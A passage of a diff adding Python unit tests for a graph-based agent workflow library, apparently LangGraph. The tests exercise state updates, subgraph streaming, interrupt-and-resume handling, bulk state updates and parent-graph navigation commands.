builder.add_node(node_b) + builder.add_node(node_c) + compiled_graph = builder.compile() + assert compiled_graph.invoke({"foo": ""}) == {"foo": "c"} + + graph = compiled_graph.get_graph() + assert [ + Edge(source="__start__", target="child", data=None, conditional=False), + Edge(source="child", target="node_b", data=None, conditional=True), + Edge(source="child", target="node_c", data=None, conditional=True), + Edge(source="node_b", target="__end__", data=None, conditional=False), + Edge(source="node_c", target="__end__", data=None, conditional=False), + ] == graph.edges + + # destinations w/ dicts + builder = StateGraph(State) + builder.add_edge(START, "child") + builder.add_node( + "child", subgraph_node, destinations={"node_b": "foo", "node_c": "bar"} + ) + builder.add_node(node_b) + builder.add_node(node_c) + compiled_graph = builder.compile() + assert compiled_graph.invoke({"foo": ""}) == {"foo": "c"} + + graph = compiled_graph.get_graph() + assert [ + Edge(source="__start__", target="child", data=None, conditional=False), + Edge(source="child", target="node_b", data="foo", conditional=True), + Edge(source="child", target="node_c", data="bar", conditional=True), + Edge(source="node_b", target="__end__", data=None, conditional=False), + Edge(source="node_c", target="__end__", data=None, conditional=False), + ] == graph.edges + + +def test_pydantic_none_state_update() -> None: + class State(BaseModel): + foo: str | None + + def node_a(state: State) -> State: + return State(foo=None) + + graph = StateGraph(State).add_node(node_a).add_edge(START, "node_a").compile() + assert graph.invoke({"foo": ""}) == {"foo": None} + + +def test_pydantic_state_update_command() -> None: + class State(BaseModel): + foo: str | None + + def node_a(state: State) -> State: + return Command(update=State(foo=None)) + + graph = StateGraph(State).add_node(node_a).add_edge(START, "node_a").compile() + assert graph.invoke({"foo": ""}) == {"foo": None} + + class State(BaseModel): + foo: str | None = None + bar: str | None = None + + def node_a(state: State): + return State(foo="foo") + + def node_b(state: State): + return Command(update=State(bar="bar")) + + builder = StateGraph(State) + builder.add_node(node_a) + builder.add_node(node_b) + builder.add_edge(START, "node_a") + builder.add_edge("node_a", "node_b") + builder.add_edge("node_b", END) + graph = builder.compile() + + assert graph.invoke(State()) == {"foo": "foo", "bar": "bar"} + + +def test_pydantic_state_mutation() -> None: + class Inner(BaseModel): + a: int = 0 + + class State(BaseModel): + inner: Inner = Inner() + outer: int = 0 + + def my_node(state: State) -> State: + state.inner.a = 5 + state.outer = 10 + return state + + graph = StateGraph(State).add_node(my_node).add_edge(START, "my_node").compile() + + assert graph.invoke({"outer": 1}) == {"outer": 10, "inner": Inner(a=5)} + + # test w/ default_factory + class State(BaseModel): + inner: Inner = Field(default_factory=Inner) + outer: int = 0 + + def my_node(state: State) -> State: + state.inner.a = 5 + state.outer = 10 + return state + + graph = StateGraph(State).add_node(my_node).add_edge(START, "my_node").compile() + + assert graph.invoke({"outer": 1}) == {"outer": 10, "inner": Inner(a=5)} + + +def test_pydantic_state_mutation_command() -> None: + class Inner(BaseModel): + a: int = 0 + + class State(BaseModel): + inner: Inner = Inner() + outer: int = 0 + + def my_node(state: State) -> State: + state.inner.a = 5 + state.outer = 10 + return Command(update=state) + + graph = StateGraph(State).add_node(my_node).add_edge(START, "my_node").compile() + + assert graph.invoke({"outer": 1}) == {"outer": 10, "inner": Inner(a=5)} + + # test w/ default_factory + class State(BaseModel): + inner: Inner = Field(default_factory=Inner) + outer: int = 0 + + def my_node(state: State) -> State: + state.inner.a = 5 + state.outer = 10 + return Command(update=state) + + graph = StateGraph(State).add_node(my_node).add_edge(START, "my_node").compile() + + assert graph.invoke({"outer": 1}) == {"outer": 10, "inner": Inner(a=5)} + + +def test_get_stream_writer() -> None: + class State(TypedDict): + foo: str + + def my_node(state): + writer = get_stream_writer() + writer("custom!") + return state + + graph = StateGraph(State).add_node(my_node).add_edge(START, "my_node").compile() + assert list(graph.stream({"foo": "bar"}, stream_mode="custom")) == ["custom!"] + assert list(graph.stream({"foo": "bar"}, stream_mode="values")) == [ + {"foo": "bar"}, + {"foo": "bar"}, + ] + assert list(graph.stream({"foo": "bar"}, stream_mode=["custom", "updates"])) == [ + ( + "custom", + "custom!", + ), + ( + "updates", + { + "my_node": { + "foo": "bar", + }, + }, + ), + ] + + +def test_stream_messages_dedupe_inputs() -> None: + from langchain_core.messages import AIMessage + + def call_model(state): + return {"messages": AIMessage("hi", id="1")} + + def route(state): + return Command(goto="node_2", graph=Command.PARENT) + + subgraph = ( + StateGraph(MessagesState) + .add_node(call_model) + .add_node(route) + .add_edge(START, "call_model") + .add_edge("call_model", "route") + .compile() + ) + + graph = ( + StateGraph(MessagesState) + .add_node("node_1", subgraph) + .add_node("node_2", lambda state: state) + .add_edge(START, "node_1") + .compile() + ) + + chunks = [ + chunk + for ns, chunk in graph.stream( + {"messages": "hi"}, stream_mode="messages", subgraphs=True + ) + ] + + assert len(chunks) == 1 + assert chunks[0][0] == AIMessage("hi", id="1") + assert chunks[0][1]["langgraph_node"] == "call_model" + + +def test_stream_messages_dedupe_state(sync_checkpointer: BaseCheckpointSaver) -> None: + from langchain_core.messages import AIMessage + + to_emit = [AIMessage("bye", id="1"), AIMessage("bye again", id="2")] + + def call_model(state): + return {"messages": to_emit.pop(0)} + + def route(state): + return Command(goto="node_2", graph=Command.PARENT) + + subgraph = ( + StateGraph(MessagesState) + .add_node(call_model) + .add_node(route) + .add_edge(START, "call_model") + .add_edge("call_model", "route") + .compile() + ) + + graph = ( + StateGraph(MessagesState) + .add_node("node_1", subgraph) + .add_node("node_2", lambda state: state) + .add_edge(START, "node_1") + .compile(checkpointer=sync_checkpointer) + ) + + thread1 = {"configurable": {"thread_id": "1"}} + + chunks = [ + chunk + for ns, chunk in graph.stream( + {"messages": "hi"}, thread1, stream_mode="messages", subgraphs=True + ) + ] + + assert len(chunks) == 1 + assert chunks[0][0] == AIMessage("bye", id="1") + assert chunks[0][1]["langgraph_node"] == "call_model" + + chunks = [ + chunk + for ns, chunk in graph.stream( + {"messages": "hi again"}, + thread1, + stream_mode="messages", + subgraphs=True, + ) + ] + + assert len(chunks) == 1 + assert chunks[0][0] == AIMessage("bye again", id="2") + assert chunks[0][1]["langgraph_node"] == "call_model" + + +def test_stream_messages_dedupe_pydantic_subgraph_interrupt( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Pydantic BaseModel state should not cause duplicate messages when + streaming from subgraphs that use interrupts. Regression test for a bug + where ``on_chain_start`` only populated the ``seen`` set for dict inputs, + skipping Pydantic model inputs entirely.""" + + class PydanticState(BaseModel): + messages: Annotated[list[AnyMessage], add_messages] = Field( + default_factory=list + ) + + def subgraph_proposal(state) -> Command[Literal["subgraph_approval"]]: + return Command( + goto="subgraph_approval", + update={"messages": [AIMessage(content="Proposal", id="proposal_msg")]}, + ) + + def subgraph_approval(state) -> Command[Literal["__end__"]]: + resume_value = interrupt({"message": "Waiting for approval"}) + user_msg = resume_value.get("user_message", "") + msgs = [HumanMessage(content=user_msg)] if user_msg else [] + return Command(goto="__end__", update={"messages": msgs}) + + subgraph = ( + StateGraph(PydanticState) + .add_node("proposal", subgraph_proposal) + .add_node("subgraph_approval", subgraph_approval) + .add_edge(START, "proposal") + .compile(checkpointer=sync_checkpointer) + ) + + def finalize(state) -> Command[Literal["__end__"]]: + return Command( + goto="__end__", + update={"messages": [AIMessage(content="Finalized", id="finalize_msg")]}, + ) + + graph = ( + StateGraph(PydanticState) + .add_node("subgraph", subgraph) + .add_node("finalize", finalize) + .add_edge(START, "subgraph") + .add_edge("subgraph", "finalize") + .compile(checkpointer=sync_checkpointer) + ) + + thread1 = {"configurable": {"thread_id": "1"}} + + # First stream: should hit interrupt after proposal + chunks_req0 = [ + (ns, chunk) + for ns, chunk in graph.stream( + {"messages": [HumanMessage(content="Create a proposal")]}, + thread1, + stream_mode="messages", + subgraphs=True, + ) + ] + + msg_ids_req0 = {chunk[0].id for _, chunk in chunks_req0} + assert "proposal_msg" in msg_ids_req0 + + # Verify interrupted + state = graph.get_state(thread1) + assert state.next + + # Second stream: resume — should NOT duplicate messages from first stream + chunks_req1 = [ + (ns, chunk) + for ns, chunk in graph.stream( + Command(resume={"user_message": "Yes"}), + thread1, + stream_mode="messages", + subgraphs=True, + ) + ] + + msg_ids_req1 = {chunk[0].id for _, chunk in chunks_req1} + assert "finalize_msg" in msg_ids_req1 + + # The key assertion: no message IDs from request 0 should appear in request 1 + duplicates = msg_ids_req0 & msg_ids_req1 + assert not duplicates, f"Duplicate message IDs across requests: {duplicates}" + + +def test_interrupt_subgraph_reenter_checkpointer_true( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + class SubgraphState(TypedDict): + foo: str + bar: str + + class ParentState(TypedDict): + foo: str + counter: int + + called = [] + bar_values = [] + + def subnode_1(state: SubgraphState): + called.append("subnode_1") + bar_values.append(state.get("bar")) + return {"foo": "subgraph_1"} + + def subnode_2(state: SubgraphState): + called.append("subnode_2") + value = interrupt("Provide value") + value += "baz" + return {"foo": "subgraph_2", "bar": value} + + subgraph = ( + StateGraph(SubgraphState) + .add_node(subnode_1) + .add_node(subnode_2) + .add_edge(START, "subnode_1") + .add_edge("subnode_1", "subnode_2") + .compile(checkpointer=True) + ) + + def call_subgraph(state: ParentState): + called.append("call_subgraph") + return subgraph.invoke(state) + + def node(state: ParentState): + called.append("parent") + if state["counter"] < 1: + return Command( + goto="call_subgraph", update={"counter": state["counter"] + 1} + ) + + return {"foo": state["foo"] + "|" + "parent"} + + parent = ( + StateGraph(ParentState) + .add_node(call_subgraph) + .add_node(node) + .add_edge(START, "call_subgraph") + .add_edge("call_subgraph", "node") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + assert parent.invoke({"foo": "", "counter": 0}, config) == { + "foo": "", + "counter": 0, + "__interrupt__": [ + Interrupt( + value="Provide value", + id=AnyStr(), + ) + ], + } + assert parent.invoke(Command(resume="bar"), config) == { + "foo": "subgraph_2", + "counter": 1, + "__interrupt__": [ + Interrupt( + value="Provide value", + id=AnyStr(), + ) + ], + } + assert parent.invoke(Command(resume="qux"), config) == { + "foo": "subgraph_2|parent", + "counter": 1, + } + assert called == [ + "call_subgraph", + "subnode_1", + "subnode_2", + "call_subgraph", + "subnode_2", + "parent", + "call_subgraph", + "subnode_1", + "subnode_2", + "call_subgraph", + "subnode_2", + "parent", + ] + + # invoke parent again (new turn) + assert parent.invoke({"foo": "meow", "counter": 0}, config) == { + "foo": "meow", + "counter": 0, + "__interrupt__": [ + Interrupt( + value="Provide value", + id=AnyStr(), + ) + ], + } + # confirm that we preserve the state values from the previous invocation + assert bar_values == [None, "barbaz", "quxbaz"] + + +def test_empty_invoke() -> None: + def reducer_merge_dicts( + dict1: dict[Any, Any], dict2: dict[Any, Any] + ) -> dict[Any, Any]: + merged = {**dict1, **dict2} + return merged + + class SimpleGraphState(BaseModel): + x1: Annotated[list[str], operator.add] = [] + x2: Annotated[dict[str, Any], reducer_merge_dicts] = {} + + def update_x1_1(state: SimpleGraphState): + print(state) + return {"x1": ["111"]} + + def update_x1_2(state: SimpleGraphState): + print(state) + state.x1.append("222") + return {"x1": ["222"]} + + def update_x2_1(state: SimpleGraphState): + print(state) + return {"x2": {"111": 111}} + + def update_x2_2(state: SimpleGraphState): + print(state) + return {"x2": {"222": 222}} + + graph = StateGraph(SimpleGraphState) + graph.add_node("x1_1_node", update_x1_1) + graph.add_node("x1_2_node", update_x1_2) + graph.add_node("x2_1_node", update_x2_1) + graph.add_node("x2_2_node", update_x2_2) + graph.add_edge("x1_1_node", "x1_2_node") + graph.add_edge("x1_2_node", "x2_1_node") + graph.add_edge("x2_1_node", "x2_2_node") + + graph.add_edge(START, "x1_1_node") + graph.add_edge("x2_2_node", END) + + compiled = graph.compile() + + assert compiled.invoke(SimpleGraphState()).get("x2") == { + "111": 111, + "222": 222, + } + + +def test_parallel_interrupts(sync_checkpointer: BaseCheckpointSaver) -> None: + # --- CHILD GRAPH --- + + class ChildState(BaseModel): + prompt: str = Field(..., description="What is going to be asked to the user?") + human_input: str | None = Field(None, description="What the human said") + human_inputs: Annotated[list[str], operator.add] = Field( + default_factory=list, description="All of my messages" + ) + + def get_human_input(state: ChildState): + human_input = interrupt(state.prompt) + + return dict( + human_input=human_input, # update child state + human_inputs=[human_input], # update parent state + ) + + child_graph_builder = StateGraph(ChildState) + child_graph_builder.add_node("get_human_input", get_human_input) + child_graph_builder.add_edge(START, "get_human_input") + child_graph_builder.add_edge("get_human_input", END) + child_graph = child_graph_builder.compile() + + # --- PARENT GRAPH --- + + class ParentState(BaseModel): + prompts: list[str] = Field( + ..., description="What is going to be asked to the user?" + ) + human_inputs: Annotated[list[str], operator.add] = Field( + default_factory=list, description="All of my messages" + ) + + def assign_workers(state: ParentState): + return [ + Send( + "child_graph", + dict( + prompt=prompt, + ), + ) + for prompt in state.prompts + ] + + def cleanup(state: ParentState): + assert len(state.human_inputs) == len(state.prompts) + + parent_graph_builder = StateGraph(ParentState) + parent_graph_builder.add_node("child_graph", child_graph) + parent_graph_builder.add_node("cleanup", cleanup) + + parent_graph_builder.add_conditional_edges(START, assign_workers, ["child_graph"]) + parent_graph_builder.add_edge("child_graph", "cleanup") + parent_graph_builder.add_edge("cleanup", END) + + parent_graph = parent_graph_builder.compile(checkpointer=sync_checkpointer) + + # --- CLIENT INVOCATION --- + + thread_config = dict( + configurable=dict( + thread_id=str(uuid.uuid4()), + ) + ) + current_input = dict( + prompts=["a", "b"], + ) + + invokes = 0 + events: dict[int, list[dict]] = {} + while invokes < 10: + # reset interrupt + invokes += 1 + events[invokes] = [] + current_interrupts: list[Interrupt] = [] + + # start / resume the graph + for event in parent_graph.stream( + input=current_input, + config=thread_config, + stream_mode="updates", + ): + events[invokes].append(event) + # handle the interrupt + if "__interrupt__" in event: + current_interrupts.extend(event["__interrupt__"]) + # assume that it breaks here, because it is an interrupt + + # get human input and resume + if len(current_interrupts) > 0: + # we resume one at a time to preserve original test behavior, + # but we could also resume all at once if we wanted + # with a single dict mapping of interrupt ids to resume values + resume = {current_interrupts[0].id: f"Resume #{invokes}"} + current_input = Command(resume=resume) + + # not more human input required, must be completed + else: + break + else: + assert False, "Detected infinite loop" + + assert invokes == 3 + assert len(events) == 3 + + assert events[1] == UnsortedSequence( + { + "__interrupt__": ( + Interrupt( + value="a", + id=AnyStr(), + ), + ) + }, + { + "__interrupt__": ( + Interrupt( + value="b", + id=AnyStr(), + ), + ) + }, + ) + assert events[2] in ( + UnsortedSequence( + { + "__interrupt__": ( + Interrupt( + value="a", + id=AnyStr(), + ), + ) + }, + {"child_graph": {"human_inputs": ["Resume #1"]}}, + ), + UnsortedSequence( + { + "__interrupt__": ( + Interrupt( + value="b", + id=AnyStr(), + ), + ) + }, + {"child_graph": {"human_inputs": ["Resume #1"]}}, + ), + ) + assert events[3] == UnsortedSequence( + { + "child_graph": {"human_inputs": ["Resume #1"]}, + "__metadata__": {"cached": True}, + }, + {"child_graph": {"human_inputs": ["Resume #2"]}}, + {"cleanup": None}, + ) + + +def test_parallel_interrupts_double(sync_checkpointer: BaseCheckpointSaver) -> None: + # --- CHILD GRAPH --- + + class ChildState(BaseModel): + prompt: str = Field(..., description="What is going to be asked to the user?") + human_input: str | None = Field(None, description="What the human said") + human_inputs: Annotated[list[str], operator.add] = Field( + default_factory=list, description="All of my messages" + ) + + def get_human_input(state: ChildState): + human_input = interrupt(state.prompt) + + return dict( + human_inputs=[human_input], # update parent state + ) + + def get_dolphin_input(state: ChildState): + human_input = interrupt(state.prompt) + + return dict( + human_inputs=[human_input], # update parent state + ) + + child_graph_builder = StateGraph(ChildState) + child_graph_builder.add_node("get_human_input", get_human_input) + child_graph_builder.add_node("get_dolphin_input", get_dolphin_input) + child_graph_builder.add_edge(START, "get_human_input") + child_graph_builder.add_edge(START, "get_dolphin_input") + child_graph = child_graph_builder.compile() + + # --- PARENT GRAPH --- + + class ParentState(BaseModel): + prompts: list[str] = Field( + ..., description="What is going to be asked to the user?" + ) + human_inputs: Annotated[list[str], operator.add] = Field( + default_factory=list, description="All of my messages" + ) + + def assign_workers(state: ParentState): + return [ + Send( + "child_graph", + dict( + prompt=prompt, + ), + ) + for prompt in state.prompts + ] + + def cleanup(state: ParentState): + assert len(state.human_inputs) == len(state.prompts) * 2 + + parent_graph_builder = StateGraph(ParentState) + parent_graph_builder.add_node("child_graph", child_graph) + parent_graph_builder.add_node("cleanup", cleanup) + + parent_graph_builder.add_conditional_edges(START, assign_workers, ["child_graph"]) + parent_graph_builder.add_edge("child_graph", "cleanup") + parent_graph_builder.add_edge("cleanup", END) + + parent_graph = parent_graph_builder.compile(checkpointer=sync_checkpointer) + + # --- CLIENT INVOCATION --- + + thread_config = dict( + configurable=dict( + thread_id=str(uuid.uuid4()), + ) + ) + current_input = dict( + prompts=["a", "b"], + ) + + invokes = 0 + events: dict[int, list[dict]] = {} + while invokes < 10: + # reset interrupt + invokes += 1 + events[invokes] = [] + current_interrupts: list[Interrupt] = [] + + # start / resume the graph + for event in parent_graph.stream( + input=current_input, + config=thread_config, + stream_mode="updates", + ): + events[invokes].append(event) + # handle the interrupt + if "__interrupt__" in event: + current_interrupts.extend(event["__interrupt__"]) + # assume that it breaks here, because it is an interrupt + + # get human input and resume + if len(current_interrupts) > 0: + # we resume one at a time to preserve original test behavior, + # but we could also resume all at once if we wanted + # with a single dict mapping of interrupt ids to resume values + resume = {current_interrupts[0].id: f"Resume #{invokes}"} + current_input = Command(resume=resume) + + # not more human input required, must be completed + else: + break + else: + assert False, "Detected infinite loop" + + assert invokes == 5 + assert len(events) == 5 + + +def test_pregel_loop_refcount(): + gc.collect() + try: + gc.disable() + + class State(TypedDict): + messages: Annotated[list, add_messages] + + graph_builder = StateGraph(State) + + def chatbot(state: State): + return {"messages": [("ai", "HIYA")]} + + graph_builder.add_node("chatbot", chatbot) + graph_builder.set_entry_point("chatbot") + graph_builder.set_finish_point("chatbot") + graph = graph_builder.compile() + + for _ in range(5): + graph.invoke({"messages": [{"role": "user", "content": "hi"}]}) + assert ( + len( + [obj for obj in gc.get_objects() if isinstance(obj, SyncPregelLoop)] + ) + == 0 + ) + assert ( + len([obj for obj in gc.get_objects() if isinstance(obj, PregelRunner)]) + == 0 + ) + finally: + gc.enable() + + +def test_bulk_state_updates( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + class State(TypedDict): + foo: str + baz: str + + def node_a(state: State) -> State: + return {"foo": "bar"} + + def node_b(state: State) -> State: + return {"baz": "qux"} + + graph = ( + StateGraph(State) + .add_node("node_a", node_a) + .add_node("node_b", node_b) + .add_edge(START, "node_a") + .add_edge("node_a", "node_b") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # First update with node_a + graph.bulk_update_state( + config, + [ + [ + StateUpdate(values={"foo": "bar"}, as_node="node_a"), + ] + ], + ) + + # Then bulk update with both nodes + graph.bulk_update_state( + config, + [ + [ + StateUpdate(values={"foo": "updated"}, as_node="node_a"), + StateUpdate(values={"baz": "new"}, as_node="node_b"), + ] + ], + ) + + state = graph.get_state(config) + assert state.values == {"foo": "updated", "baz": "new"} + + # Check if there are only two checkpoints + checkpoints = list(sync_checkpointer.list(config)) + assert len(checkpoints) == 2 + + # perform multiple steps at the same time + config = {"configurable": {"thread_id": "2"}} + + graph.bulk_update_state( + config, + [ + [ + StateUpdate(values={"foo": "bar"}, as_node="node_a"), + ], + [ + StateUpdate(values={"foo": "updated"}, as_node="node_a"), + StateUpdate(values={"baz": "new"}, as_node="node_b"), + ], + ], + ) + + state = graph.get_state(config) + assert state.values == {"foo": "updated", "baz": "new"} + + checkpoints = list(sync_checkpointer.list(config)) + assert len(checkpoints) == 2 + + # Should raise error if updating without as_node + with pytest.raises(InvalidUpdateError): + graph.bulk_update_state( + config, + [ + [ + StateUpdate(values={"foo": "error"}, as_node=None), + StateUpdate(values={"bar": "error"}, as_node=None), + ] + ], + ) + + # Should raise if no updates are provided + with pytest.raises(ValueError, match="No supersteps provided"): + graph.bulk_update_state(config, []) + + # Should raise if no updates are provided + with pytest.raises(ValueError, match="No updates provided"): + graph.bulk_update_state(config, [[], []]) + + # Should raise if __end__ or __copy__ update is applied in bulk + with pytest.raises(InvalidUpdateError): + graph.bulk_update_state( + config, + [ + [ + StateUpdate(values=None, as_node="__end__"), + StateUpdate(values=None, as_node="__copy__"), + ], + ], + ) + + +def test_pregel_node_copy() -> None: + class State(TypedDict): + foo: str + + def agent(state: State) -> State: + return {"foo": "agent"} + + def tool(state: State) -> State: + return {"foo": "tool"} + + graph = ( + StateGraph(State) + .add_node("agent", agent) + .add_node("tool", tool) + .add_edge(START, "agent") + .add_edge("agent", "tool") + .compile() + ) + + graph.invoke({"foo": "input"}, {"configurable": {"thread_id": "1"}}) + graph.copy() + graph.nodes["agent"].copy({}) + + +def test_update_as_input( + sync_checkpointer: BaseCheckpointSaver, durability: Durability +) -> None: + class State(TypedDict): + foo: str + + def agent(state: State) -> State: + return {"foo": "agent"} + + def tool(state: State) -> State: + return {"foo": "tool"} + + graph = ( + StateGraph(State) + .add_node("agent", agent) + .add_node("tool", tool) + .add_edge(START, "agent") + .add_edge("agent", "tool") + .compile(checkpointer=sync_checkpointer) + ) + + assert graph.invoke( + {"foo": "input"}, + {"configurable": {"thread_id": "1"}}, + durability=durability, + ) == {"foo": "tool"} + + assert graph.invoke( + {"foo": "input"}, + {"configurable": {"thread_id": "1"}}, + durability=durability, + ) == {"foo": "tool"} + + def map_snapshot(i: StateSnapshot) -> dict: + return { + "values": i.values, + "next": i.next, + "step": i.metadata.get("step"), + } + + history = [ + map_snapshot(s) + for s in graph.get_state_history({"configurable": {"thread_id": "1"}}) + ] + + graph.bulk_update_state( + {"configurable": {"thread_id": "2"}}, + [ + # First turn + [StateUpdate({"foo": "input"}, "__input__")], + [StateUpdate({"foo": "input"}, "__start__")], + [StateUpdate({"foo": "agent"}, "agent")], + [StateUpdate({"foo": "tool"}, "tool")], + # Second turn + [StateUpdate({"foo": "input"}, "__input__")], + [StateUpdate({"foo": "input"}, "__start__")], + [StateUpdate({"foo": "agent"}, "agent")], + [StateUpdate({"foo": "tool"}, "tool")], + ], + ) + + state = graph.get_state({"configurable": {"thread_id": "2"}}) + assert state.values == {"foo": "tool"} + + new_history = [ + map_snapshot(s) + for s in graph.get_state_history({"configurable": {"thread_id": "2"}}) + ] + + if durability != "exit": + assert new_history == history + else: + assert [new_history[0], new_history[4]] == history + + +def test_batch_update_as_input( + sync_checkpointer: BaseCheckpointSaver, durability: Durability +) -> None: + class State(TypedDict): + foo: str + tasks: Annotated[list[int], operator.add] + + def agent(state: State) -> State: + return {"foo": "agent"} + + def map(state: State) -> Command["task"]: + return Command( + goto=[ + Send("task", {"index": 0}), + Send("task", {"index": 1}), + Send("task", {"index": 2}), + ], + update={"foo": "map"}, + ) + + def task(state: dict) -> State: + return {"tasks": [state["index"]]} + + graph = ( + StateGraph(State) + .add_node("agent", agent) + .add_node("map", map) + .add_node("task", task) + .add_edge(START, "agent") + .add_edge("agent", "map") + .compile(checkpointer=sync_checkpointer) + ) + + assert graph.invoke( + {"foo": "input"}, + {"configurable": {"thread_id": "1"}}, + durability=durability, + ) == { + "foo": "map", + "tasks": [0, 1, 2], + } + + def map_snapshot(i: StateSnapshot) -> dict: + return { + "values": i.values, + "next": i.next, + "step": i.metadata.get("step"), + "tasks": [t.name for t in i.tasks], + } + + history = [ + map_snapshot(s) + for s in graph.get_state_history({"configurable": {"thread_id": "1"}}) + ] + + graph.bulk_update_state( + {"configurable": {"thread_id": "2"}}, + [ + [StateUpdate({"foo": "input"}, "__input__")], + [StateUpdate({"foo": "input"}, "__start__")], + [StateUpdate({"foo": "agent", "tasks": []}, "agent")], + [ + StateUpdate( + Command( + goto=[ + Send("task", {"index": 0}), + Send("task", {"index": 1}), + Send("task", {"index": 2}), + ], + update={"foo": "map"}, + ), + "map", + ) + ], + [ + StateUpdate({"tasks": [0]}, "task"), + StateUpdate({"tasks": [1]}, "task"), + StateUpdate({"tasks": [2]}, "task"), + ], + ], + ) + + state = graph.get_state({"configurable": {"thread_id": "2"}}) + assert state.values == {"foo": "map", "tasks": [0, 1, 2]} + + new_history = [ + map_snapshot(s) + for s in graph.get_state_history({"configurable": {"thread_id": "2"}}) + ] + + if durability != "exit": + assert new_history == history + else: + assert new_history[:1] == history + + +def test_migration_graph(snapshot: SnapshotAssertion) -> None: + class DummyState(BaseModel): + pass_count: int = 0 + + def increment_pass_count(state: DummyState): + state.pass_count += 1 + return state + + def route_b(state: DummyState): + if state.pass_count == 0: + return "X" + else: + return "Y" + + migration_graph = StateGraph(DummyState) + + migration_graph.add_node("B", increment_pass_count) + migration_graph.add_node("C", increment_pass_count) + migration_graph.add_node("D", increment_pass_count) + + migration_graph.add_edge(START, "B") + + migration_graph.add_conditional_edges( + "B", + route_b, + { + "X": "C", + "Y": "D", + }, + ) + + migration_graph.add_edge("D", "B") + migration_graph.add_edge("C", END) + + app = migration_graph.compile() + + assert app.get_graph().draw_mermaid(with_styles=False) == snapshot + + +def test_get_graph_loop(snapshot: SnapshotAssertion) -> None: + class State(TypedDict): + foo: str + + def human_node(state: State) -> State: + value = interrupt() + return {"foo": value} + + def agent_node(state: State) -> State: + return {"foo": "Hi " + state["foo"]} + + workflow = StateGraph(State) + workflow.add_node("human", human_node) + workflow.add_node("agent", agent_node) + workflow.add_edge(START, "human") + workflow.add_edge("human", "agent") + workflow.add_edge("agent", "human") + + app = workflow.compile() + assert json.dumps(app.get_graph().to_json(), indent=2) == snapshot + assert app.get_graph().draw_mermaid(with_styles=False) == snapshot + + +def test_get_graph_self_loop(snapshot: SnapshotAssertion) -> None: + import random + + subgraph_builder = StateGraph(MessagesState) + subgraph_builder.add_node("agent", lambda x: x) + subgraph_builder.add_edge(START, "agent") + subgraph = subgraph_builder.compile() + + def worker_node(state: MessagesState) -> Command[Literal["worker_node", "__end__"]]: + subgraph_result = subgraph.invoke(state) + + if random.choice([True, False]): + next_node_name = "worker_node" + else: + next_node_name = END + + return Command(update=subgraph_result, goto=next_node_name) + + self_loop_builder = StateGraph(MessagesState) + self_loop_builder.add_node("worker_node", worker_node) + self_loop_builder.add_edge(START, "worker_node") + self_loop_graph = self_loop_builder.compile() + + assert json.dumps(self_loop_graph.get_graph().to_json(), indent=2) == snapshot + assert self_loop_graph.get_graph().draw_mermaid(with_styles=False) == snapshot + + +def test_get_graph_root_channel(snapshot: SnapshotAssertion) -> None: + child_builder = StateGraph(list) + child_builder.add_node("child_node", lambda x: x) + child_builder.add_edge(START, "child_node") + child_graph = child_builder.compile() + + graph_builder = StateGraph(list) + graph_builder.add_node("child", child_graph) + graph_builder.add_edge(START, "child") + graph = graph_builder.compile() + + assert json.dumps(graph.get_graph().to_json(), indent=2) == snapshot + assert graph.get_graph().draw_mermaid(with_styles=False) == snapshot + + +def test_imp_exception( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + @task() + def my_task(number: int): + time.sleep(0.1) + return number * 2 + + @task() + def task_with_exception(number: int): + time.sleep(0.1) + raise Exception("This is a test exception") + + @entrypoint(checkpointer=sync_checkpointer) + def my_workflow(number: int): + my_task(number).result() + try: + task_with_exception(number).result() + except Exception as e: + print(f"Exception caught: {e}") + my_task(number).result() + return "done" + + thread1 = {"configurable": {"thread_id": "1"}} + assert my_workflow.invoke(1, thread1) == "done" + + assert [c for c in my_workflow.stream(1, thread1)] == [ + {"my_task": 2}, + {"my_task": 2}, + {"my_workflow": "done"}, + ] + + +@pytest.mark.parametrize("with_timeout", [False, "inner", "outer", "both"]) +@pytest.mark.parametrize("subgraph_persist", [True, False]) +def test_parent_command_goto( + sync_checkpointer: BaseCheckpointSaver, subgraph_persist: bool, with_timeout: bool +) -> None: + class State(TypedDict): + dialog_state: Annotated[list[str], operator.add] + + def node_a_child(state): + return {"dialog_state": ["a_child_state"]} + + def node_b_child(state): + return Command( + graph=Command.PARENT, + goto="node_b_parent", + update={"dialog_state": ["b_child_state"]}, + ) + + sub_builder = StateGraph(State) + sub_builder.add_node(node_a_child) + sub_builder.add_node(node_b_child) + sub_builder.add_edge(START, "node_a_child") + sub_builder.add_edge("node_a_child", "node_b_child") + sub_graph = sub_builder.compile(checkpointer=subgraph_persist) + if with_timeout in ("inner", "both"): + sub_graph.step_timeout = 1 + + def node_b_parent(state): + return {"dialog_state": ["node_b_parent"]} + + main_builder = StateGraph(State) + main_builder.add_node(node_b_parent) + main_builder.add_edge(START, "subgraph_node") + main_builder.add_node("subgraph_node", sub_graph, destinations=("node_b_parent",)) + main_graph = main_builder.compile(sync_checkpointer, name="parent") + if with_timeout in ("outer", "both"): + main_graph.step_timeout = 1 + + config = {"configurable": {"thread_id": 1}} + + assert main_graph.invoke(input={"dialog_state": ["init_state"]}, config=config) == { + "dialog_state": ["init_state", "b_child_state", "node_b_parent"] + } + + +@pytest.mark.parametrize("subgraph_persist", [True, False]) +def test_parent_command_goto_deeply_nested( + sync_checkpointer: BaseCheckpointSaver, + subgraph_persist: bool, +) -> None: + """Test Command.PARENT in a 3-level nested subgraph. + + Command.PARENT should jump to sub_child_3 in the immediate parent (sub_graph). + + Note: With operator.add, subgraph state (including its input) is merged with + parent state, causing the input to appear multiple times. This is expected. + """ + + class State(TypedDict): + dialog_state: Annotated[list[str], operator.add] + + # Level 3: Deepest subgraph that issues Command.PARENT + def sub_sub_child_node(state): + # Jump to immediate parent (sub_graph) + return Command( + graph=Command.PARENT, + goto="sub_child_3", + update={"dialog_state": ["sub_sub_child"]}, + ) + + sub_sub_builder = StateGraph(State) + sub_sub_builder.add_node("sub_sub_child", sub_sub_child_node) + sub_sub_builder.add_edge(START, "sub_sub_child") + sub_sub_graph = sub_sub_builder.compile( + name="sub_sub_graph", checkpointer=subgraph_persist + ) + + # Level 2: Middle subgraph containing Level 3 + def sub_child_1(state): + return {"dialog_state": ["sub_child_1"]} + + def sub_child_3(state): + return {"dialog_state": 